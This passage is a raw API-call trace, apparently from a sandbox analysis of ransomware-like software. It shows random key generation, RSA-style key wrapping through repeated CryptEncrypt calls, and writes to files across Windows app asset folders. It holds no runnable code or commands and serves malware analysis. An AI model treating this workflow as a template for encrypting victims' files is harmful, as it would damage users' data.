Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd2e8 | out: pbBuffer=0x34dd2e8) returned 1 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca5c0 | out: pbBuffer=0x30ca5c0) returned 1 [0219.136] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d71f8 | out: pbBuffer=0x34d71f8) returned 1 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca4c0 | out: pbBuffer=0x30ca4c0) returned 1 [0219.136] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dc478 | out: pbBuffer=0x34dc478) returned 1 [0219.137] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca460 | out: pbBuffer=0x30ca460) returned 1 [0219.137] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.137] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d66a0 | out: pbBuffer=0x34d66a0) returned 1 [0219.137] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca500 | out: pbBuffer=0x30ca500) returned 1 [0219.137] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.137] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6cd0 | out: pbBuffer=0x34d6cd0) returned 1 [0219.137] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca4d0 | out: pbBuffer=0x30ca4d0) returned 1 [0219.137] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.140] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dcdc0 | out: pbBuffer=0x34dcdc0) returned 1 [0219.140] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca630 | out: pbBuffer=0x30ca630) returned 1 [0219.140] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.140] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d69b8 | out: pbBuffer=0x34d69b8) returned 1 [0219.140] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca5b0 | out: pbBuffer=0x30ca5b0) returned 1 [0219.141] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-200.png", dwFileAttributes=0x80) returned 0 [0222.377] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.377] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386d990*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386d990*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.377] WriteFile (in: hFile=0x290c, lpBuffer=0x386d990*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386d990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.377] WriteFile (in: hFile=0x290c, lpBuffer=0x2ef2558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2558*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.378] CloseHandle (hObject=0x290c) returned 1 [0222.447] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.447] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e3e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e3e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.448] WriteFile (in: hFile=0x290c, lpBuffer=0x386e3e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e3e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.448] WriteFile (in: hFile=0x290c, lpBuffer=0x2ef2508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.448] CloseHandle (hObject=0x290c) returned 1 [0222.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386ed28*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386ed28*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.480] WriteFile (in: hFile=0x290c, lpBuffer=0x386ed28*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386ed28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.481] WriteFile (in: hFile=0x290c, lpBuffer=0x2ef24c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.481] CloseHandle (hObject=0x290c) returned 1 [0222.509] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.509] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.510] WriteFile (in: hFile=0x290c, lpBuffer=0x386e6f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e6f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.510] WriteFile (in: hFile=0x290c, lpBuffer=0x2ef2628*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2628*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.510] CloseHandle (hObject=0x290c) returned 1 [0222.519] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.519] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386ee30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386ee30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.519] WriteFile (in: hFile=0x290c, lpBuffer=0x386ee30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386ee30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.520] WriteFile (in: hFile=0x290c, lpBuffer=0x2ef2678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2678*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.520] CloseHandle (hObject=0x290c) returned 1 [0222.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386dfc0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386dfc0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.557] WriteFile (in: hFile=0x2910, lpBuffer=0x386dfc0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386dfc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.558] WriteFile (in: hFile=0x2910, lpBuffer=0x2ef2578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2578*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.558] CloseHandle (hObject=0x2910) returned 1 [0222.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386deb8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386deb8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.617] WriteFile (in: hFile=0x2968, lpBuffer=0x386deb8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386deb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.618] WriteFile (in: hFile=0x2968, lpBuffer=0x2ef2648*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2648*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.618] CloseHandle (hObject=0x2968) returned 1 [0222.705] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.705] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.705] WriteFile (in: hFile=0x2a64, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.706] WriteFile (in: hFile=0x2a64, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.706] CloseHandle (hObject=0x2a64) returned 1 [0222.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.711] WriteFile (in: hFile=0x2a74, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.712] WriteFile (in: hFile=0x2a74, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.712] CloseHandle (hObject=0x2a74) returned 1 [0222.715] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.715] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.715] WriteFile (in: hFile=0x2a74, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.715] WriteFile (in: hFile=0x2a74, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.715] CloseHandle (hObject=0x2a74) returned 1 [0222.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.731] WriteFile (in: hFile=0x2a74, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.732] WriteFile (in: hFile=0x2a74, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.732] CloseHandle (hObject=0x2a74) returned 1 [0222.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.741] WriteFile (in: hFile=0x2a74, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.742] WriteFile (in: hFile=0x2a74, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.742] CloseHandle (hObject=0x2a74) returned 1 [0222.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.755] WriteFile (in: hFile=0x2a74, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.756] WriteFile (in: hFile=0x2a74, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.756] CloseHandle (hObject=0x2a74) returned 1 [0222.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.767] WriteFile (in: hFile=0x2a78, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.768] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.768] CloseHandle (hObject=0x2a78) returned 1 [0222.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.786] WriteFile (in: hFile=0x2a78, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.787] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.787] CloseHandle (hObject=0x2a78) returned 1 [0222.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.798] WriteFile (in: hFile=0x2a78, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.798] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.798] CloseHandle (hObject=0x2a78) returned 1 [0222.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.825] WriteFile (in: hFile=0x2a78, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.825] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.826] CloseHandle (hObject=0x2a78) returned 1 [0222.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.830] WriteFile (in: hFile=0x2a78, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.830] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.830] CloseHandle (hObject=0x2a78) returned 1 [0222.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.965] WriteFile (in: hFile=0x2a78, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.966] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.966] CloseHandle (hObject=0x2a78) returned 1 [0222.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0222.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0222.976] WriteFile (in: hFile=0x2a78, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0222.976] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0222.976] CloseHandle (hObject=0x2a78) returned 1 [0223.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0223.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0223.173] WriteFile (in: hFile=0x2a78, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0223.173] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0223.173] CloseHandle (hObject=0x2a78) returned 1 [0224.663] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, 